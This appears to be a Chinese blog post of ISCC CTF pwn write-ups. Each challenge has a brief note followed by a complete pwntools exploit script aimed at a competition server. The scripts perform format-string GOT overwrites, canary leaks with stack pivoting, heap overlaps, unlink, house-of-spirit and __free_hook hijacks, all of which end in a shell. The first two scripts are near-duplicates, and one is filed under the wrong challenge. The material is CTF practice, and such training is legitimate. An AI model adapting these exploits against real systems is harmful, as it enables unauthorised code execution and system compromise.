ISCC-PWN

291 阅读8分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情

PWN

create_id

通过代码分析,格式化字符串漏洞将X等于9就可以cat flag.txt. 我们的格式化字符串位置在第10位

from pwn import*

p = remote("123.57.69.203",7010)
#p = process("./sp1")
#context(log_level="debug")
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
p.recvuntil("Can you find the magic word?\n")
printf_got =elf.got['printf']

payload1 = p32(puts_got)+b'%6$s'
p.sendline(payload1)
p.recv(4)
puts_addr = u32(p.recv(4))
    
base_addr = puts_addr - libc.symbols["puts"]
sys_addr = base_addr + libc.symbols["system"]
p.sendline('a')

payload = fmtstr_payload(6,{printf_got:sys_addr})
p.recvuntil('a\n')

p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

sim_treasure

发现格式化字符串漏洞,IDA跟asvj****函数,里面调用了str的相关函数 使用returm to libc的方法 传入/bin/sh然后劫持printf函数就行

from pwn import *
context.log_level='debug'
#io=process("./sp1")
io=remote("123.57.69.203",7010)
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
io.recvuntil("Can you find the magic word?\n")

pay_1 = p32(elf.got["puts"])+"%6$s"
#gdb.attach(io)	
io.sendline(pay_1)
io.recv(4)
puts_addr = u32(io.recv(4))
print "puts_got="+hex(puts_addr)
#gdb.attach(io)
printf_got = elf.got['printf']
print "printf_got="+hex(printf_got)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print "system_addr="+hex(system_addr)
io.sendline("A")

payload1 = fmtstr_payload(6, {printf_got: system_addr})
io.recvuntil("A\n")
#gdb.attach(io)
io.sendline(payload1)
io.sendline("/bin/sh")


io.interactive();

跳一跳

Checksec 保护全开,猜测泄露Canary和栈迁移,构造exp

from pwn import *
from LibcSearcher import LibcSearcher
p=remote('123.57.69.203',7020)
p.recvuntil('Hello CTFer! Welcome to the world of pwn~\n')
elf=ELF('./attachment-10')
for i in range(216):
    p.sendline(b'123')
p.sendline(b'65')

p.send(b'c')
p.recvuntil(b'A')
result=p.recv()
canary=u64(result[:7].ljust(8,b'\x00'))*16*16
ebp=u64(result[7:13].ljust(8,b'\x00'))
print(hex(ebp))

print(hex(canary))
p.send(b'0'*(0xe0-8)+p64(canary)+b'c'*8+p8(0x98))
#第二次main

for i in range(231):
    p.sendline(b'123')
p.sendline(b'65')
p.recvuntil(b'A')

main=u64(p.recv(6).ljust(8,b'\x00'))-24
elf_base=main-0x128F
init=elf_base+0x1298
put_got=elf_base+elf.got['puts']
put_plt=elf_base+elf.plt['puts']
pop_rdi=elf_base+0x130b
leave=elf_base+0x124A
ret=elf_base+0x1016

init_1=elf_base+0x1250
fun=elf_base+0x1185

print(hex(put_plt))

payload=b'/bin/sh\x00'+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main)
p.send(payload.ljust(0xe0-8,b'\x00')+p64(canary)+p64(ebp-0xf0)+p64(leave))

#获取libc
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')
print(hex(puts_addr))
print(hex(base))
system=base+libc.dump('system')

#第三次main

for i in range(231):
    p.sendline(b'123')
# gdb.attach(p)
p.sendline(b'65')
p.recvuntil(b'A')
payload=p64(ret)+p64(ret)+p64(pop_rdi)+p64(ebp-0xd0)+p64(system)
p.send(payload.ljust(0xe0-8,b'\x00')+p64(canary)+p64(ebp-0xf0-0xd8)+p64(leave))

p.interactive()

untidy_note

IDA分析完看到对堆进行了一些列操作,这是一个堆漏洞,构造exp

#coding=utf-8
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
# context.terminal=['tmux','splitw','-h']

ip = '123.57.69.203'
port = '7030'
reomote_addr = [ip,port]
binary = './untidy_note'

libc = ELF('./libc-2.27.so')
elf = ELF(binary)
if len(sys.argv)==1:
    p = process(binary)

if len(sys.argv)==2 :
    p = remote(reomote_addr[0],reomote_addr[1])

#----------------------------------------------------------------------
ru = lambda x : p.recvuntil(x,timeout=0.2)
sd = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
it = lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
rv6 = lambda : u64(rv(6)+b'\x00'*2)
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
bp = lambda src=None : attach(p,src)
sym = lambda name : libc.sym[name]
#----------------------------------------------------------------------

def leak(offset):
    addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    base = addr - offset
    print "[+]libc_base=>"+hex(base)
    return base

def menu(idx):
    sla("Your choose is:\n",str(idx))

def add(size):
    menu(1)
    ru("the note size is:\n")
    sl(str(size))

def free(index):
    menu(2)
    ru("index:\n\n")
    sl(str(index))

def edit(index,size,content):
    menu(3)
    ru("index:\n")
    sl(str(index))
    ru("the size is:\n")
    sl(str(size))
    ru("Content:\n")
    sl(content)

def show(index):
    menu(4)
    ru("index:\n")
    sl(str(index))

# attach(p)#,'b *$rebase(0x0000000000000A8B)')
sla("Your name is:",str("Epiphany"))
#--leak
add(0x10)
for j in range(25):
    add(0x20-1)

add(0x10) #26
payload =  'a'*0x10+p64(0)+p64(0x4b1)
edit(0,len(payload),payload)
free(1)

show(1)
offset = libc.sym['__malloc_hook'] +0x10 + 96
libc_base = leak(offset)

free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym['system'] + libc_base

free(26)
# free(3)
#num = 27
payload = p64(free_hook)
edit(26,len(payload),payload)

add(0x10) #25
pause()
add(0x10) #26
payload = p64(system)
edit(26,len(payload),payload) 
pause()
edit(9,len('/bin/sh\x00'),"/bin/sh\x00")
pause()
free(9)
it()

heapheap

  1. 布置堆布局,通过一次释放堆块,合并,在下个chunk的prev_size留下size,为overlap做准备
  2. 重新申请回去,接着释放开头chunk,offbynull覆盖第三个chunk的inuse位,free掉第三个chunk,造成overlap,中间第二个chunk会overlap。
  3. 在unsortedbin中制造与tcachebin的chunk overlap,将stdout后12bit偏移链入tcache
  4. 申请到stdout,泄露libc,之后再构造chunk overlap,将frehook改为system
#!usr/bin/env python
# coding=utf-8
from pwn import *
elf = ELF("./heapheap")
libc = ELF("./libc-2.27.so")
def debug():
    gdb.attach(p, "b main")
# gdb.attach(p, "b *$rebase(0x)")

def add(size, content):
    p.sendlineafter("Please input your choice: ", '1')
    p.recvuntil("Please input the size:")
    p.sendline(str(size))
    p.recvuntil("Data:")
    p.send(content)

def free(idx):
    p.sendlineafter("Please input your choice: ", '2')
    p.recvuntil("Please input the index:")
    p.sendline(str(idx))

def attack():
    add(0x4f8, 'a')  # 0
    add(0xf8, 'a')  # 1
    add(0xf8, 'a')  # 2
    add(0xf8, 'a')  # 3
    free(2)
    add(0xf8, 'a' * 0xf0 + p64(0x700))  # 2
    for i in range(6):
        add(0xf8, 'a')
    for i in range(4, 10):
        free(i)
    free(1)
    free(0)
    free(3)
    add(0x4f8, 'a')  # 0
    add(0x28, p16(0xa760))  # 1
    add(0xf8, 'a')  # 3
    add(0xf8, p64(0xfbad1800) + p64(0) * 3 + '\x00')  # 4
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ed8b0
    log.info("libc_base==>0x%x" % libc_base)
    mlh = libc_base + libc.sym['__malloc_hook']
    sys = libc_base + libc.sym['system']
    ogg = libc_base + 0x10a41c

    free(2)
    add(0x1f8, 'a' * 0xc8 + p64(0x101) + p64(mlh))  # 2
    add(0xf8, 'a')  # 5
    add(0xf8, p64(ogg))  # 6
    p.sendlineafter("Please input your choice: ", '1')
    p.recvuntil("Please input the size:")
    p.sendline(str(0x58))

while True:
    try:
        # p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
        p = remote("123.57.69.203", 5320)
        attack()
        p.sendline("cat flag.txt")
        p.interactive()
        break
    except:
        p.close()

Huge_Space

  1. 溢出栈,布置栈迁移 rop
  2. 堆溢出覆盖 topchunk,free 到 unsortedbin,申请出来泄露 libc
  3. 申请大内存,溢出覆盖 tls 结构的 canary
  4. 输入 cmd,在 cmd 后面构造调用 execve 的 rop
  5. exit 返回到 main 函数,绕过 canary,栈迁移到 bss,调用 ececv
from pwn import *  
context.log_level = 'debug' 
context.terminal = ["/bin/tmux","sp","-h"] 
io = remote('123.57.69.203',5330 ) 
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') 
# io = process('./Huge_Space') 
#libc = ELF('.bc.so.6') 
elf = ELF('./Huge_Space') 
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) 
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00")) 
rl = lambda a=False : io.recvline(a) 
ru = lambda a,b=True : io.recvuntil(a,b) 
rn = lambda x : io.recvn(x) 
sn = lambda x : io.send(x) 
sl = lambda x : io.sendline(x) 
sa = lambda a,b : io.sendafter(a,b) 
sla = lambda a,b : io.sendlineafter(a,b) 
irt = lambda : io.interactive() 
dbg = lambda text=None : gdb.attach(io, text) 
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s))) 
uu32 = lambda data : u32(data.ljust(4, '\x00')) 
uu64 = lambda data : u64(data.ljust(8, '\x00')) 
ur64 = lambda data : u64(data.rjust(8, '\x00')) 
def add(idx,size,content): 
    sl('+++') 
    sla('Index:',str(idx)) 
    sla('Size: ',str(size)) 
    sla('Data: ',content) 
def show(idx,size): 
    sl('print') 
    sla('Index:',str(idx)) 
    sla('Size: ',str(size)) 
pop_rdi = 0x0000000000400be3 
pop_rsi_r15 = 0x0000000000400be1 
pop_rdx = 0x0000000000001b96 
pop_rbp = 0x0000000000400860 
leaveret = 0x40090F 
sh = 0x400909 
writee = 0x400B19 
# dbg() 
sl('\x00'*(8*9)+p64(pop_rbp)+p64(0x6010c0+0x10)+p64(leaveret)) 
add(0,0x10,'A'*0x10+p64(0)+p64(0xd81))
add(1,0x1000,'B')
add(1,0xd50,'')
#add(2,0x1fa0,'')
show(1,0x20) 
# show(2,0x20) 
# irt() 
libcbase = l64() - 0x3ebc00 
lg('libcbase') 
execve = libcbase + libc.symbols['execve'] 
lg('execve') 
sl('666') 
# dbg() 
add(3,0x22000,'\x00'*(0x24518+16*8)+'\x00'*8) 
sl('exit\x00\x00\x00\x00/bin\x00'+p64(pop_rdi)*2+p64(0x6010c0+8)+ p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx+libcbase)+p64(0)+p64(execve)) 
irt()

Unlink

# coding=utf-8
# *- coding:utf-8 -*-
# from pwn_debug import *
from struct import pack
from pwn import *
import sys;import time;import os
context(os="linux", arch="amd64", log_level="debug")
# context(os="linux",arch="i386",log_level="debug")
filename = "unlink"
libcpath = ""
sh = 0
lib = 0
elf = ELF(filename)  # local长
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")  #
#  remote_buu_libc = ELF("/home/rencvn/Desktop/install/libc-2.27.so",checksec = False)
#  libc = ELF("/home/rencvn/Desktop/BUU/Glibc/Ubuntu18_GLIBC_2.27-3ubuntu1/64/libc-2.27.so")
u16_local_one = [0x45216,0x4526a,0xf02a4,0xf1147] # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6 giantbranch  2.23-0ubuntu10
u18_local_one = [0x4f2a5,0x4f302,0x10a2fc] # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6        Rencvn       2.27-3ubuntu1.5
u20_local_one = [0xe3b2e,0xe3b31,0xe3b34]  # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6        Ln-Pwn       2.31-0ubuntu9.7

""" """
l64 = lambda                :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda                :u32(sh.recvuntil("\x7f")[-4:].ljust(4,"\x00"))
#bytes ==>  int
#常用于调用了ROP输出类函数后,接受并转化为int类型
#                       uxx(   ru("\x7f")[-6:].ljust(8,"\x00")    )
leak= lambda name,data      :sh.success(name + ": 0x%x" % data)
s   = lambda payload        :sh.send( payload)
sa  = lambda a,b            :sh.sendafter(str(a),str(b))
sl  = lambda payload        :sh.sendline(payload )
sla = lambda a,b            :sh.sendlineafter(str (a),str(b))
ru  = lambda a              :sh.recvuntil(str(a))
r   = lambda numb=4096      :sh.recv(numb)
# https://www.yuque.com/squirre17/qqf7/wbeago #5b71964e
rl  = lambda                :sh.recvline()
uu32= lambda data           :u32(data.ljust(4, b'\x00'))
uu64= lambda data           :u64(data.ljust(8, b'\x00'))
# https://blog.cc arol2358/article/details/106262701
info_addr = lambda tag, addr        :sh.info(tag + ': {:#x}'. format(addr))
check = lambda data                 :"data=",data,"|*|","type=>",type(data)

# 这里使用print会报错
# 交互时
# py2 <==> str = bytes
#addr=int(sh.recvuntil('\n',drop=True),base=16)

def add(index,size,data):
    success("########->add<-########")
    sl("add")                 # fgets
    sla("Index: ",str(index)) 
    sla("Size: ",str(size))   # scanf
    sa("Data: ",data+"\n")        # gets

def delete(index):
    success("########->delete<-########")
    sl("remove")              # fgets
    sla("Index: ",str(index)) # scanf

sys = 0x400896
#sh = process("./unlink")
sh = remote("123.57.69.203",5810)
#gdb.attach(sh,"b *0x400A78")
                #   malloc   # 
#gdb.attach(sh,"b *0x4009BD\n"+"b *0x400A8A\n"+"c\n"*(24) ) 
add(0,0x410,"aaaa")#fake_chunk)#0
add(1,0xe8,"bbbb")#1
add(2,0x4f0,"cccc")#2
add(3,0x60,"/bin/sh\x00dddd")#3
add(4,0x60,"/bin/sh\x00eeee")#4

delete(0)
#pause()
delete(1)
for i in range(6):
   add(1,0xe8-i,"b"*(0xe8-i))
   delete(1)

add(1,0xe8,"b"*0xe0+p64(0x510))#1
delete(2) #合并chunk2+chunk1+chunk0
success("合并chunk")

delete(1)
fgets_got  =  elf.got["fgets"]#0x601050 
free_got  = elf.got["free"]#0x601018
system_plt = elf.plt["system"];system_got = elf.got["system"]
puts_plt = elf.plt["puts"]

add(0,0x10+0x410+0xe8,0x410*"a"+p64(0x420)+p64(0xf0)+p64(free_got))#chunk0 + chunk1
add(5,0xe0,"/bin/sh\x00ffff")

add(6,0xe0,3*p64(system_plt+6))

#add(6,0xe0,2*p64(0x400706)) #xxx
#add(6,0xe0,2*p64(sys))
raw_input()
sl("/bin/sh\x00")
#delete(5)
sh.interactive()

h-o-s

在cmd布置fakechunk,free到unsortedbin泄露libc,再次将fakechunk释放到tcache,制造overlap,将freehook链入tcache,打freehook为system

# -*- coding: UTF-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]

io = remote('123.57.69.203',5820 )
# io = remote('127.0.0.1',49161 )
# libc = ELF('./libc-2.31.so')
# io = process('./hos')
libc = ELF('./libc.so.6')
elf = ELF('./hos')

l64 = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False     : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x           : io.recvn(x)
sn = lambda x           : io.send(x)
sl = lambda x           : io.sendline(x)
sa = lambda a,b         : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s           : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data      : u32(data.ljust(4, '\x00'))
uu64 = lambda data      : u64(data.ljust(8, '\x00'))
ur64 = lambda data      : u64(data.rjust(8, '\x00'))

def add(size,content):
    sl('fill')
    sl(str(size))
    sl(content)
def delete():
    sl('get')


buf = 0x6010a0
cmd = 0x601160

add(0x41,'a')#n =0
# add(0x31,'a')#n=0
pay = 'get'.ljust(0x8,'\x00') + p64(0x61)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81) + p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x70)
sl(pay)
sl('get')#n=-1
add(0x81,'a')#n=0
add(0x81,'a')#n=1
add(0x81,'a')#n=2
add(0x81,'a')#n=3
add(0x81,'a')#n=4
add(0x81,'a')#n=5
add(0x81,'a')#n=6
add(0x81,'a')#n=7
delete()
delete()
delete()
delete()
delete()
delete()
pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x10)
sl(pay)
add(0x51,p64(buf+0x10) + p64(buf+0x70) + p64(buf+0x10)*2+p64(0x91)+p64(0x31))#n=1
delete()#n=0
sl('get')#n=-1
add(0x51,p64(buf+0x70) + p64(buf+0x10) + p64(buf+0x70)*2+p64(0x91)+p64(0x31))#n=0
sl('get')#n=-1
libcbase = l64() -0x3ebca0
lg('libcbase')
freehook = libcbase + libc.symbols['__free_hook']
lg('freehook')
system = libcbase + libc.symbols['system']
lg('system')
add(0x81,'a')#n=0

pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = -1

pay = 'fill'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(freehook) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = 0

add(0x81,p64(system))
add(0x41,'/bin/sh\x00')
delete()
# dbg()

irt()